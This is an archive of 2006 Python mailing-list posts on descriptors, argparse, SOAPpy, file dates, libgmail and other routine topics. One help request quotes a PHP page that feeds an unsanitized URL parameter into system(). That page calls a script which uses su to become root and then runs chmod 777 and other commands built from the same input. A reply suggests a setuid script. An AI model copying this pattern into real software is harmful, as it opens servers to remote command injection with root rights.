Message-ID: <1161684173.380260.60580@m73g2000cwd.googlegroups.com>

Cameron Walsh wrote:
>
> I googled "python gui compare" a while back and got
> www.awaretek.com/toolkits.html as the first result.

See also the python.org Wiki for more information:

http://wiki.python.org/moin/UsefulModules
http://wiki.python.org/moin/GuiProgramming (big list!)

> Every variation on the values I entered seemed to point me to wxPython,
> which I'm still using now.  However, they seem to think that EasyGUI is
> the easiest to learn, but that it suffers on "Maturity, documentation,
> breadth of widget selection".

The figures behind the scenes are quite enlightening for that
particular page. If you (or community experiences) don't agree with the
rankings (wxPython apparently even easier to learn than PythonCard and
Tkinter, a bunch of Gtk-based toolkits having more or less "full" Linux
scores) then you'll have some surprises, I'm sure. Nevertheless, it's
an interesting concept.

Paul



From fumanchu at amor.org  Tue Oct 10 13:47:19 2006
From: fumanchu at amor.org (fumanchu)
Date: 10 Oct 2006 10:47:19 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
	<mailman.209.1160486725.11739.python-list@python.org>
	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>
Message-ID: <1160502439.729432.13480@h48g2000cwc.googlegroups.com>

Edward Diener No Spam wrote:
> OK, here is my idea of what such a component model envisages as a list
> of items. After this, unless I get some intelligent comments from people
> who might be interested in what I envision, or something very similar, I
> will be off to investigate it myself rather than do battle with the
> horde of people who will just tell me that Python, being a great
> language, does not need what I have suggested.

[This quote hacked up by me:]
> 1) Component property: This is a glorified attribute with a type that
> a) can be specified in a "static" manner, or discovered dynamically,
> b) has converters between a string and the actual value
> c) has a getter function to retrieve the value if it is readable and a
> setter function to set the value if it is writable.
> d) be either readable or writable or both.
> e) not any Python class attribute since a component has the right
> to specify only certain values as manipulatable in a design-time
> RAD environment.

Whenever you say "glorified attribute", your first thought should be
"Python descriptor" (but not your last--it's not a cure-all). They are
able to do all of (a, b, c, d, e) which I marked in your text above.
For example, here's a descriptor for
attributes-you-want-to-persist-in-a-database from my ORM, Dejavu (see
http://projects.amor.org/dejavu/browser/trunk/units.py#l290):


class UnitProperty(object):
    """Data descriptor for Unit data which will persist in storage."""

    def __init__(self, type=unicode, index=False, hints=None, key=None,
default=None):
        self.type = type
        self.index = index
        if hints is None: hints = {}
        self.hints = hints
        self.key = key
        self.default = default

    def __get__(self, unit, unitclass=None):
        if unit is None:
            # When calling on the class instead of an instance...
            return self
        else:
            return unit._properties[self.key]

    def __set__(self, unit, value):
        if self.coerce:
            value = self.coerce(unit, value)
        oldvalue = unit._properties[self.key]
        if oldvalue != value:
            unit._properties[self.key] = value

    def coerce(self, unit, value):
        if value is not None and not isinstance(value, self.type):
            # Try to cast the value to self.type.
            try:
                value = self.type(value)
            except Exception, x:
                x.args += (value, type(value))
                raise
        return value

    def __delete__(self, unit):
        raise AttributeError("Unit Properties may not be deleted.")

> a) can be specified in a "static" manner, or discovered dynamically,

The "component model" can either scan a class for instances of
UnitProperty or keep a registry of them in the class or elsewhere (via
a metaclass + add_property functions).

> b) has converters between a string and the actual value

Note the "coerce" function above. Something similar could be done for
serialization (which I can prove in my case because I use UnitProperty
to help produce SQL ;) but you could just as easily pickle
unit._properties and be done with it.

> c) has a getter function to retrieve the value if it is readable and a
> setter function to set the value if it is writable.
> d) be either readable or writable or both.

Descriptors that only have __get__ are read-only; if they have __set__
they are read-write.

> e) not any Python class attribute since a component has the right
> to specify only certain values as manipulatable in a design-time
> RAD environment.

Right. Descriptors allow the creator of a class to use "normal"
attributes (including functions) which don't participate in the
component model.

> 2) Component event: This is an type which encapsulates an array, or a
> list of callable objects with the same function signature, along with
> the functionality to add and remove elements from the array, as well as
> cycle through the array calling the callable objects as a particular
> event is triggered. A component event is an event source for a
> particular event. Component events have to be dicoverable by the Visual
> RAD system so that an object's appropriate event handler, an event sink,
> can be hooked to the component event itself, an event source, through a
> design time interface which propagates the connection at run-time.

This can be accomplished by creating a ComponentEvent descriptor whose
__get__ returns an object with a __call__ method. Here's a base class
for something similar (again, from Dejavu):

class UnitAssociation(object):
    """Non-data descriptor method to retrieve related Units via
attributes."""

    to_many = None

    def __init__(self, nearKey, farClass, farKey):
        # Since the keys will be used as kwarg keys, they must be
strings.
        self.nearKey = str(nearKey)
        self.farKey = str(farKey)

        self.nearClass = None
        self.farClass = farClass

    def __get__(self, unit, unitclass=None):
        if unit is None:
            # When calling on the class instead of an instance...
            return self
        else:
            m = types.MethodType(self.related, unit, unitclass)
            return m

    def __delete__(self, unit):
        raise AttributeError("Unit Associations may not be deleted.")

    def related(self, unit, expr=None, **kwargs):
        raise NotImplementedError

Subclasses override the "related" method, but a ComponentEvent class
could just as easily do:

    def run(self, *args, **kwargs):
        for sink in self.sinks:
            sink(*args, **kwargs)

> 3: Component serialization: A component which has its properties and
> events set by a visual design-time RAD environment needs to be
> serialized at design time and deserialized at run-time. This can be a
> default serialization of all component properties and events, or the
> component itself can participate in the serilization effort either
> wholly or partly.

In Dejavu, the UnitProperty class is your "component property" and the
Unit class is the component. The Unit class has a copy method:

    def __copy__(self):
        newUnit = self.__class__()
        for key in self.properties:
            if key in self.identifiers:
                prop = getattr(self.__class__, key)
                newUnit._properties[key] = prop.default
            else:
                newUnit._properties[key] = self._properties[key]
        newUnit.sandbox = None
        return newUnit

It wouldn't be hard to replace "newUnit._properties[key] =
self._properties[key]" with "dump(self._properties[key])".

> 4) Custom property and component editors: A component editor can present
> a property editor or an editor for an entire component which the visual
> design-time RAD environment can use to allow the programmer end-user of
> the component to set or get component property values. Normally a design
> time environment will present default property editors for each
> component property type, but a component can override this.

This is the hard part. I believe Dabo has done some work in this space,
but this is where the tight coupling comes in between code and tool, a
coupling which Python has traditionally resisted.

> 5) Custom type converters: A component should be able to specify a
> custom converter for any property to convert, in both directions or
> either direction, between the property's string value as seen by a
> property editor and the actual value of the component property's type.

A ComponentProperty descriptor could include a custom pair of methods
to get/set as string. This is often done in web frameworks which need
to coerce incoming string values to the correct type.

All of which is to say: nobody's done this yet because parts 1, 2, 3
and 5 are trivial to do with descriptors, but actually building a
visual RAD environment is too much work. ;)


Robert Brewer
System Architect
Amor Ministries
fumanchu at amor.org



From skip at pobox.com  Mon Oct 30 10:56:33 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 30 Oct 2006 09:56:33 -0600
Subject: Calling GNU/make from a Python Script
In-Reply-To: <ei54ap$te0$1@sea.gmane.org>
References: <45462091@news.bezeqint.net>
        <ei54ap$te0$1@sea.gmane.org>
Message-ID: <17734.8369.273509.581944@montanaro.dyndns.org>


    Fredrik> build_dir = "path/to/makefile"

    Fredrik> cwd = os.getcwd() # get current directory
    Fredrik> try:
    Fredrik>      os.chdir(build_dir)
    Fredrik>      os.system("make")
    Fredrik> finally:
    Fredrik>      os.chdir(cwd)

Or even:

    os.system("make -C %s" % build_dir)

Skip


From deets at nospam.web.de  Wed Oct  4 12:09:50 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 04 Oct 2006 18:09:50 +0200
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga>
	<mailman.1265.1159970009.10491.python-list@python.org>
	<WQPUg.8$Cr3.6@newsfe03.lga> <4oi0f3FehgnuU1@uni-berlin.de>
	<k3QUg.11$Cr3.3@newsfe03.lga>
Message-ID: <4oi4meFep2seU1@uni-berlin.de>

Edward K. Ream wrote:

>> [The value of the encoding field] _could_ be retained, but for what
>> purpose?
> 
> I'm asking this question because my app needs it :-)  
> Imo, there is *no* 
> information in any xml file that can be considered irrelvant.  

It sure is! The encoding _is_ irrelevant, in the very moment you get unicode
strings. The order of attributes is irrelevant. There is plenty of
irrelevant whitespace. And so on...

> My app will 
> want to know the original encoding when writing the file.

When your app needs it, whatfor does it need it? If you write out xml again,
use whatever encoding suits you best. If you don't, use the encoding that
the subsequent application or processing step needs.

Diez


From utabintarbo at gmail.com  Thu Oct  5 14:10:06 2006
From: utabintarbo at gmail.com (utabintarbo)
Date: 5 Oct 2006 11:10:06 -0700
Subject: Asychronous execution *with* return codes?
In-Reply-To: <1160065159.562889.184860@i3g2000cwc.googlegroups.com>
References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com>
	<1160053403.362330.136200@k70g2000cwa.googlegroups.com>
	<1160059393.325634.167640@e3g2000cwe.googlegroups.com>
	<1160065159.562889.184860@i3g2000cwc.googlegroups.com>
Message-ID: <1160071806.019770.198470@e3g2000cwe.googlegroups.com>


Justin wrote:
> If you're on a POSIX system, you could use the usual fork/exec/wait:
> 
Sorry. Win32. We are only allowed spoons - no sharp objects. :-P



From mpraveenreddy at gmail.com  Sun Oct 29 22:55:59 2006
From: mpraveenreddy at gmail.com (Praveen)
Date: 29 Oct 2006 19:55:59 -0800
Subject: How to access file last modified dates on each file in a directory
In-Reply-To: <1162177219.649954.318150@h48g2000cwc.googlegroups.com>
References: <1162177219.649954.318150@h48g2000cwc.googlegroups.com>
Message-ID: <1162180559.127449.102560@e3g2000cwe.googlegroups.com>

I hope this sample code helps

def getfileinfo(filename):
	print 'Filename : %s' % filename
	stats = os.stat(filename)
	size = stats[stat.ST_SIZE]
	print 'File Size is %d bytes' % size

	accessed = stats[stat.ST_ATIME]
	modified = stats[stat.ST_MTIME]

	print 'Last accessed: ' + time.ctime(accessed)
	print 'Last modified: ' + time.ctime(modified)

Regards,
Praveen

On Oct 30, 8:00 am, RAMohrm... at adelphia.net wrote:
> Greetings,
>
> I am attempting to view all files in a directory and if those files
> have not been modified within the last couple days I will remove them.
> In order to do this I need to look at the file date modied and check
> the date. I know how to look at each file name and I know how to remove
> the file. I just can't figure out how to get access to the date last
> modifed filed. Below is how I intend to access the file names in the
> directory.
>
> >>> import os,time,sys
> >>> cachedirectory="c:\\informatica\\cache\\"
> >>> v_filename_array=os.listdir(cachedirectory)
> >>> x_len=len(v_filename_array)v_filename_array[0] = first file name
> v_filename_array[1] - second file name
> 
> Thanks'
> Rich



From nogradi at gmail.com  Sun Oct  1 04:37:35 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Sun, 1 Oct 2006 10:37:35 +0200
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <1159690187.914063.296330@i3g2000cwc.googlegroups.com>
References: <mailman.1027.1159685538.10491.python-list@python.org>
	<pUJTg.130151$zy5.1802764@twister1.libero.it>
	<1159690187.914063.296330@i3g2000cwc.googlegroups.com>
Message-ID: <5f56302b0610010137x4dfa25e6w3e210f3618ec7bee@mail.gmail.com>

> > > Below is a simple program that will cause python to intermittently
> > > stop executing for a few seconds.  it's 100% reproducible on my
> > > machine.
> >
> > Confirmed with Python 2.4.2 on Windows.
> >
> > gc.disable() fixes it, so it looks like you found an inefficiency in the
> > Python's GC. I have no idea whether this would be considered a bug by
> Python's
> > developer, but you can try opening a bugreport...
>
> Reproduced on 2.4.3 and 2.5 on Windows.
> Disabling GC fixes the speed problem as Giovanni said, but doesn't
> reduce the amount of memory taken (measured by increase in "page file
> used" display in Task Manager). At about 520 Mb, this seems rather too
> high to me.
>
> Definitely worth reporting, even if the outcome is only(!) a timbottian
> dissertation of why it's not a problem -- at least we'd learn something
> :-)

This is because the OP violated the Style Guide (PEP 8) and used 'me'
instead of 'self' as the first argument of instance methods, the
couple of seconds delay in runtime is the revenge of the vicious
interpreter :)


From bdesth.quelquechose at free.quelquepart.fr  Sun Oct 22 17:05:08 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Sun, 22 Oct 2006 23:05:08 +0200
Subject: Python and CMS
In-Reply-To: <mailman.933.1161518325.11739.python-list@python.org>
References: <mailman.933.1161518325.11739.python-list@python.org>
Message-ID: <453bd8a4$0$16884$426a74cc@news.free.fr>

Echo a ?crit :
(snip)
> As for working with WSGI, I have found
> Colubrid(http://wsgiarea.pocoo.org/colubrid/) and
> Paste(http://pythonpaste.org/). I was wondering if anyone knew of any
> other libraries that make working with WSGI easier. 

Pylons (www.pylonshq.com). It's a rail-like framework based on Paste.

(snip)
> ps. I know that this is a big and complicated project. 

Really ? Why so ?

Writing a configurable, extensible, general purpose can be a "big and 
complicated project". But writing a "taylor-made", specific one is not 
that difficult.



From steven.bethard at gmail.com  Mon Oct  9 16:04:26 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Mon, 9 Oct 2006 14:04:26 -0600
Subject: [ANN] argparse 0.1 - Command-line parsing library
Message-ID: <d11dcfba0610091304y4d09fb9aj9784022aa1d9b2cb@mail.gmail.com>

Announcing argparse 0.1
-----------------------

argparse home:
  http://argparse.python-hosting.com/

argparse at PyPI:
  http://www.python.org/pypi/argparse/0.1.0

argparse module download:
  http://argparse.python-hosting.com/file/trunk/argparse.py?format=raw


About this release
==================

This release fixes a few minor bugs and adds the 'outfile' type.
Extensive updates to the API documentation make this the most
thoroughly documented release yet:
  http://argparse.python-hosting.com/wiki/ArgumentParser


New in this release
===================

* The 'outfile' type.
* API documentation.


About argparse
==============

The argparse module is an optparse-inspired command line parser that
improves on optparse by:

* handling both optional and positional arguments
* supporting parsers that dispatch to sub-parsers
* producing more informative usage messages
* supporting actions that consume any number of command-line args
* allowing types and actions to be specified with simple callables
instead of hacking class attributes like STORE_ACTIONS or
CHECK_METHODS

as well as including a number of other more minor improvements on the
optparse API. To whet your appetite, here's a simple program that sums
its command-line arguments and writes them to a file::

    parser = argparse.ArgumentParser()
    parser.add_argument('integers', type=int, nargs='+')
    parser.add_argument('--log', type='outfile', default=sys.stdout)
    args = parser.parse_args()
    args.log.write('%s\n' % sum(args.integers))
    args.log.close()


From jenann50 at hotmail.com  Mon Oct  2 16:21:07 2006
From: jenann50 at hotmail.com (jenann50 at hotmail.com)
Date: 2 Oct 2006 13:21:07 -0700
Subject: moving limewire music to my itunes library
Message-ID: <1159820467.904936.300170@i42g2000cwa.googlegroups.com>

hi all, i know this is probably a silly question but i dont know how to
move my limewire tunes to my itunes folder so that i can download them
onto my ipod. also if i have a music cd and load it into media windows
player, how do i also get that music into my itunes library
ta all
jen



From http  Mon Oct  9 18:30:31 2006
From: http (Paul Rubin)
Date: 09 Oct 2006 15:30:31 -0700
Subject: Initialization of variables using no-arg constructor
References: <BAY107-F293E79A4CF09FE86376D46FD160@phx.gbl>
	<mailman.145.1160432512.11739.python-list@python.org>
Message-ID: <7x7iz92kc8.fsf@ruckus.brouhaha.com>

"Chris Mellon" <arkanes at gmail.com> writes:
> I'm not sure if regular slice notation makes a copy of the list or
> not, if it does you can use itertools:
> 
> >>> def sum(list):
> ...     total = list[0]
> ...     for v in itertools.islice(list, 1, len(list)):
> ...         total += v
> ...     return total
> >

import operator
def sum(list):
   it = iter(list)
   a = it.next()
   return reduce(operator.add, it, a)


From ldo at geek-central.gen.new_zealand  Sun Oct  8 23:52:03 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 16:52:03 +1300
Subject: changing a file's permissions
References: <d59e90ab0610011826r508d0a5ag703efbe472eac249@mail.gmail.com>
	<mailman.1090.1159796564.10491.python-list@python.org>
Message-ID: <egcgv5$viv$5@lust.ihug.co.nz>

In message <mailman.1090.1159796564.10491.python-list at python.org>, Max
Erickson wrote:

> James <oscartheduck at gmail.com> wrote:
>
>> So my question is: how does one change a file's permissions
>> inside of python?
> 
> Assuming you want to operate on the output file:
> 
> import os
> os.chmod(path, 755)

Shouldn't that be

    os.chmod(path, 0755)

? Only 755 decimal is unlikely to be a meaningful mode...


From jmorgan at ubiquitysoftware.com  Wed Oct  4 07:21:06 2006
From: jmorgan at ubiquitysoftware.com (Jonathan Morgan)
Date: Wed, 4 Oct 2006 12:21:06 +0100
Subject: SOAPpy
Message-ID: <26DF02CA700F674A90A0EB560270894E021E1060@gbnewp0758m.eu.ubiquity.net>

Hi,

I'm just started playing around with Python to trigger a method in a web service.  I've been using SOAPpy and it's incredibly badly documented so i'm not getting very far.

What I need to do is create the following in my SOAP body:

	<n1:myMethod xmlns:n1="http://www.csapi.org/schema/etc...">
		<n1:address xmlns:n1="http://www.csapi.org/schema/etc...">MyAddress</n1:address>
	</n1:myMethod >

I've managed to kinda do something similar to this with the following piece of code:

	from SOAPpy import SOAPProxy

	wsdlurl = 'http://192.168.30.91:6062/mywebservice'

	# define the namespace 
	namespace = 'http://www.csapi.org/schema/etc...'

	server = SOAPProxy(wsdlurl) 

	print 'Test: ' + server._ns(namespace).myMethod(address = "MyAddress")

This creates the following SOAP XML:

	<ns1:myMethod xmlns:ns1="http://www.csapi.org/schema/etc..." SOAP-ENC:root="1">
      	<address xsi:type="xsd:string">MyAddress</address>
	</ns1:myMethod>

I need to be able to add a namespace to the address parameter so it matches the previous SOAP XML above (n1:address, xmlns, etc.) and, what with Python being new to me and SOAPpy having awful docs, I can't figure out how to do this. 

Could anyone please help here?

Cheers,

Jon.








Information contained in this e-mail and any attachments are intended for the use of the addressee only, and may contain confidential information of Ubiquity Software Corporation.  All unauthorized use, disclosure or distribution is strictly prohibited.  If you are not the addressee, please notify the sender immediately and destroy all copies of this email.  Unless otherwise expressly agreed in writing signed by an officer of Ubiquity Software Corporation, nothing in this communication shall be deemed to be legally binding.  Thank you.



From martin.dion at gmail.com  Wed Oct 18 16:16:50 2006
From: martin.dion at gmail.com (martdi)
Date: 18 Oct 2006 13:16:50 -0700
Subject: pexpect with apache
In-Reply-To: <1161141336.176386.19650@m73g2000cwd.googlegroups.com>
References: <1161141336.176386.19650@m73g2000cwd.googlegroups.com>
Message-ID: <1161202610.865795.63830@f16g2000cwb.googlegroups.com>

Well, first i don't think it is a good idea to have the python script
tu su to root, but for it to work, i think (Totally unsure about that)
www has to be in group wheel to be able to su.

An other way to make your script run as root is to set the setuid bit
on your python script to make it run as root, without using su.


half.italian at gmail.com wrote:
> Hi all.  I try not to post until I am stuck in hole with no way out.  I
> fought with this for several hours, and am currently in the hole.
>
> I'm doing a proof of concept for creating afp shares dynamically
> through a web interface from a client machine.  I use a bit of php to
> setup a simple form, and then have the php execute my python script on
> the server.  The python script tries to 'su' to root to create the
> share, create dirs, set perms, etc
>
> The python script alone works fine as 'www'.  I can become 'www',  run
> it from the command line and the share is made.  But when I try to have
> the web server execute it, I continually get a password failure.  I'm
> positive the password is correct.
>
> Any ideas?
>
> ~Sean D
>
> ~~~~~~~~~~~test.py
> #! /usr/bin/env python
>
> import commands, os, P, pexpect
>
> sharename = sys.argv[1]
>
> root = "/Users/Shared"
> sharepath = os.path.join(root, sharename)
> password = P.P()
>
> COMMAND_PROMPT = '[$%#]'
> child = pexpect.spawn('su')
> i = child.expect([pexpect.TIMEOUT, '[Pp]assword:'], timeout=1)
> child.sendline(password.Decrypt(password.sean))
>
> i = child.expect (['su: Sorry', COMMAND_PROMPT])
>
> if i == 0:
> 	print 'Password not accepted'
> 	sys.exit(1)
> else:
> 	print "Making dir: %s" % sharepath
> 	child.sendline("mkdir %s" % sharepath)
> 	i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1)
> 	print "Setting group to 'audio'"
> 	child.sendline("chgrp audio %s" % sharepath)
> 	i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1)
> 	print "setting owner to 'audio01'"
> 	child.sendline("chown audio01 %s" % sharepath)
> 	i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1)
> 	print "Opening permissions"
> 	child.sendline("chmod 777 %s" % sharepath)
> 	i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1)
> 	print "sharing -a %s -s 100" % sharepath
> 	child.sendline("sharing -a %s -s 100" % sharepath)
> 	i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1)
> 	sys.exit(0)
>
> ~~~~~~~~~~~test.php
> <html>
> <body>
> <?php
>
> if (isset($_GET['sharename'])) {
> 	$last_line = system("/Users/Shared/test.py {$_GET['sharename']}",
> $retval);
> 	if ($retval == 0) {
> 		echo "<br><h2>Mount afp://xxx.xxx.xxx.xxx/{$_GET['sharename']}</h2>";
> 	} else {
> 		echo "<br><h2>Failed creating share!</h2>";
> 	}
> } else {
>
> 	echo "<form action='test.php'>";
> 	echo "<table>";
> 	echo "<td>Name of share:</td><td><input type='text'
> name='sharename'></td>";
> 	echo "</table></form>";
> }
> 
> ?>
> </body>
> </html>



From DustanGroups at gmail.com  Mon Oct 23 19:32:11 2006
From: DustanGroups at gmail.com (Dustan)
Date: 23 Oct 2006 16:32:11 -0700
Subject: Customize the effect of enumerate()?
In-Reply-To: <mailman.971.1161604518.11739.python-list@python.org>
References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com>
	<1161603820.012427.121630@m73g2000cwd.googlegroups.com>
	<mailman.971.1161604518.11739.python-list@python.org>
Message-ID: <1161646331.632907.292940@i42g2000cwa.googlegroups.com>

Fredrik Lundh wrote:
> "Dustan" wrote:
>
> > Except that my program is supposed to be treated as a module with tools
> > to do certain things. I certainly can't control whether a 3rd party
> > programmer uses "import myModule" or "from myModule import *".
>
> anything can happen if people use "from import *" in the wrong way, so that's
> not much of an argument, really.
>
> </F>

My argument was that if they use "import myModule", overriding
enumerate() wouldn't work. So "from myModule import *" would work
nicely, but not the former. Given that, I'm not getting your rebuttal,
or whatever it is.


Steven D'Aprano wrote:
> On Sun, 22 Oct 2006 15:56:16 -0700, Simon Forman wrote:
> > That final else clause is a little funny...    What kind of indices are
> > you expecting that will be neither less than zero, greater than zero,
> > or equal to zero?
>
> Possible a NaN value? Maybe a class instance with strange comparison
> methods?
>
> Personally, I don't like the error message. "Invalid index" doesn't really
> tell the caller what went wrong and why it is an invalid index. If I were
> programming that defensively, I'd write:
>
> if item > 0:
>     return self.sequence[item-1]
> elif item < 0:
>     return self.sequence[item]
> elif item == 0:
>     raise IndexError, "Index 0 is not valid."
> else:
>     print repr(item)
>     raise ThisCanNeverHappenError("Congratulations! You've discovered "
>     "a bug that can't possibly occur. Contact the program author for "
>     "your reward.")
>
> I know some programmers hate "Can't happen" tests and error messages, but
> if you are going to test for events that can't possibly happen, at least
> deal with the impossible explicitly!

I certainly can't argue with that logic; I might even go so far as to
agree with you and start raising impossible errors with this kind of
explicitness.

What reward should I offer? ;-)



From ericlake at gmail.com  Thu Oct 19 15:42:56 2006
From: ericlake at gmail.com (elake)
Date: 19 Oct 2006 12:42:56 -0700
Subject: Calling a definition
In-Reply-To: <mailman.784.1161286462.11739.python-list@python.org>
References: <1161283383.663046.234850@k70g2000cwa.googlegroups.com>
	<mailman.784.1161286462.11739.python-list@python.org>
Message-ID: <1161286976.227551.256960@m7g2000cwm.googlegroups.com>

Thanks for all of the help guys. I am still new to Python so this is
part of the learning curve I guess. I will look at the glob module and
see if that will do what I need to better.

On Oct 19, 3:34 pm, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
> At Thursday 19/10/2006 15:43, elake wrote:
>
> >I have a piece of code that I need some help with. It is supposed (in
> >my mind at least) take two arguments, a start path and a file
> >extension. Then when called it should return each of the file paths
> >that are found matching the criteria. It is only returning the first
> >file that it finds. What am I doing wrong?Someone else has shown how to make your code work. But notice that
> you don't even need the findFileExt function: see the glob module.
>
> --
> Gabriel Genellina
> Softlab SRL
>
> __________________________________________________
> Pregunt?. Respond?. Descubr?.
> Todo lo que quer?as saber, y lo que ni imaginabas,
> est? en Yahoo! Respuestas (Beta).
> ?Probalo ya!http://www.yahoo.com.ar/respuestas



From horpner at yahoo.com  Mon Oct 16 10:12:51 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 16 Oct 2006 16:12:51 +0200
Subject: comparing Unicode and string
References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>
Message-ID: <slrnej74sp.nc.horpner@FIAD06.norwich.edu>

On 2006-10-16, luc.saffre at gmail.com <luc.saffre at gmail.com> wrote:
> Hello,
>
> here is something that surprises me.
>
>   #coding: iso-8859-1

I think that's supposed to be:

# -*- coding: iso-8859-1 -*-

The special comment changes only the encoding of unicode
literals. In particular, it doesn't change the default encoding
of str literals.

>   s1=u"Frau M?ller machte gro?e Augen"
>   s2="Frau M?ller machte gro?e Augen"
>   if s1 == s2:
>       pass

On my machine, the ? and ? in s2 are being stored in the code
points of my terminal's encoding, cp437. Unforunately cp437 code
points from 127-255 are not the same as those in iso-8859-1.

To fix this, I have to do the following:

>>> s1 == s2.decode('cp437')
True

> Running this code produces a UnicodeDecodeError:
>
> Traceback (most recent call last):
>   File "tmp.py", line 4, in ?
>     if s1 == s2:
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 6:
> ordinal not in range(128)
>
> I would have expected that "s1 == s2" gives True... or maybe
> False... but raising an error here is unnecessary. I guess that
> the comparison operator decides to convert s2 to a Unicode but
> forgets that I said #coding: iso-8859-1 at the beginning of the
> file.

It's trying to interpret s2 as ascii, and failing, since 129 and
225 code points are out of range.

-- 
Neil Cerutti


From steveadi at gmail.com  Sat Oct 28 11:53:19 2006
From: steveadi at gmail.com (frankie_85)
Date: 28 Oct 2006 08:53:19 -0700
Subject: Need help (Basic python)...what did I do wrong?
In-Reply-To: <29c1a$454332e1$544ab808$5911@news.hispeed.ch>
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
	<29c1a$454332e1$544ab808$5911@news.hispeed.ch>
Message-ID: <1162050799.561792.6010@e3g2000cwe.googlegroups.com>

Thanks for some of the helps guys.

Hmmm....after more trials and errors, I think what I did wrong is along
on these lines:

a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3)))
b_2 = math.sqrt(math.fabs(b)) + 5((math.pow(b,3)))
c_3 = math.sqrt(math.fabs(c)) + 5((math.pow(c,3)))
d_4 = math.sqrt(math.fabs(d)) + 5((math.pow(d,3)))
e_5 = math.sqrt(math.fabs(e)) + 5((math.pow(e,3)))

but I still don't understand though why the variable a, b, c, d, e
becomes an int type even though I have already specified the user input
to be floating point?

Once again thanks for all your help



From steven.bethard at gmail.com  Tue Oct 10 19:06:03 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 10 Oct 2006 17:06:03 -0600
Subject: [ANN] argparse 0.1 - Command-line parsing library
In-Reply-To: <mailman.136.1160424269.11739.python-list@python.org>
References: <mailman.136.1160424269.11739.python-list@python.org>
Message-ID: <gc2dnakYAebGurHYnZ2dnUVZ_r6dnZ2d@comcast.com>

Steven Bethard wrote:
> Announcing argparse 0.1
> -----------------------
> 
> argparse home:
>  http://argparse.python-hosting.com/
> 
> argparse at PyPI:
>  http://www.python.org/pypi/argparse/0.1.0
> 
> argparse module download:
>  http://argparse.python-hosting.com/file/trunk/argparse.py?format=raw

The argparse module is now also available through PyPI with source and 
Windows binary downloads:

http://cheeseshop.python.org/packages/source/a/argparse/argparse-0.1.0.tar.gz
http://cheeseshop.python.org/packages/any/a/argparse/argparse-0.1.0.win32.exe

Happy parsing!


From jstroud at mbi.ucla.edu  Thu Oct 19 22:50:47 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Fri, 20 Oct 2006 02:50:47 GMT
Subject: Lead Software Engineer
In-Reply-To: <1161301345.261642.247810@b28g2000cwb.googlegroups.com>
References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>
	<1161301345.261642.247810@b28g2000cwb.googlegroups.com>
Message-ID: <bQWZg.21710$7I1.4705@newssvr27.news.prodigy.net>

alex23 wrote:
> Emma wrote:
> 
>>5. Please provide us with a comparison of the following music discovery
>>
>>sites:
>>
>>http://www.blogmusik.net
>>http://www.seeqpod.com/music
>>http://www.finetune.com
>>http://www.webjay.com
>>
>>For each of these we like to know:
>>A) What you like and dislike about each of these.
>>B) Which one you like the best.
>>C) Which one you think others might like the best.
>>D) How you would improve the one you like.
> 
> 
> There _are_ no jobs on offer here. This is just a cheap attempt at
> getting free survey data.
> 
> - alex23
> 

They would get more data if they lowered their expectations for the 
programmer position.

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From rainwolf at gmail.com  Wed Oct  4 12:48:28 2006
From: rainwolf at gmail.com (wal)
Date: Wed, 4 Oct 2006 18:48:28 +0200
Subject: libgmail: attaching files
Message-ID: <4523e5dc$0$5539$ba620e4c@news.skynet.be>

 How does one attach files to emails using libgmail?  The following code
http://pramode.net/articles/lfy/fuse/4.txt
works fine when said files are simple text files, but it failes as soon as 
the files are wild binary files, even attaching the source of an email in a 
text file (.eml files) failes.
What am I missing here? Any hints?
 The output I get when attemting to send binary files using the code above 
is pasted below.

have fun,
wal

----------------------------------
Traceback (most recent call last):
  File "C:\Documents and 
Settings\lucp1735\Desktop\libgmail-0.1.5.1\knujon.py", line 24, in <module>
    if ga.sendMessage(fs):
  File "C:\Documents and 
Settings\lucp1735\Desktop\libgmail-0.1.5.1\libgmail.py", line 582, in 
sendMessage
    msgStr = mimeMessage.as_string()
  File "C:\program files\Python25\lib\email\message.py", line 131, in 
as_string
    g.flatten(self, unixfrom=unixfrom)
  File "C:\program files\Python25\lib\email\generator.py", line 84, in 
flatten
    self._write(msg)
  File "C:\program files\Python25\lib\email\generator.py", line 109, in 
_write
    self._dispatch(msg)
  File "C:\program files\Python25\lib\email\generator.py", line 135, in 
_dispatch
    meth(msg)
  File "C:\program files\Python25\lib\email\generator.py", line 201, in 
_handle_multipart
    g.flatten(part, unixfrom=False)
  File "C:\program files\Python25\lib\email\generator.py", line 84, in 
flatten
    self._write(msg)
  File "C:\program files\Python25\lib\email\generator.py", line 109, in 
_write
    self._dispatch(msg)
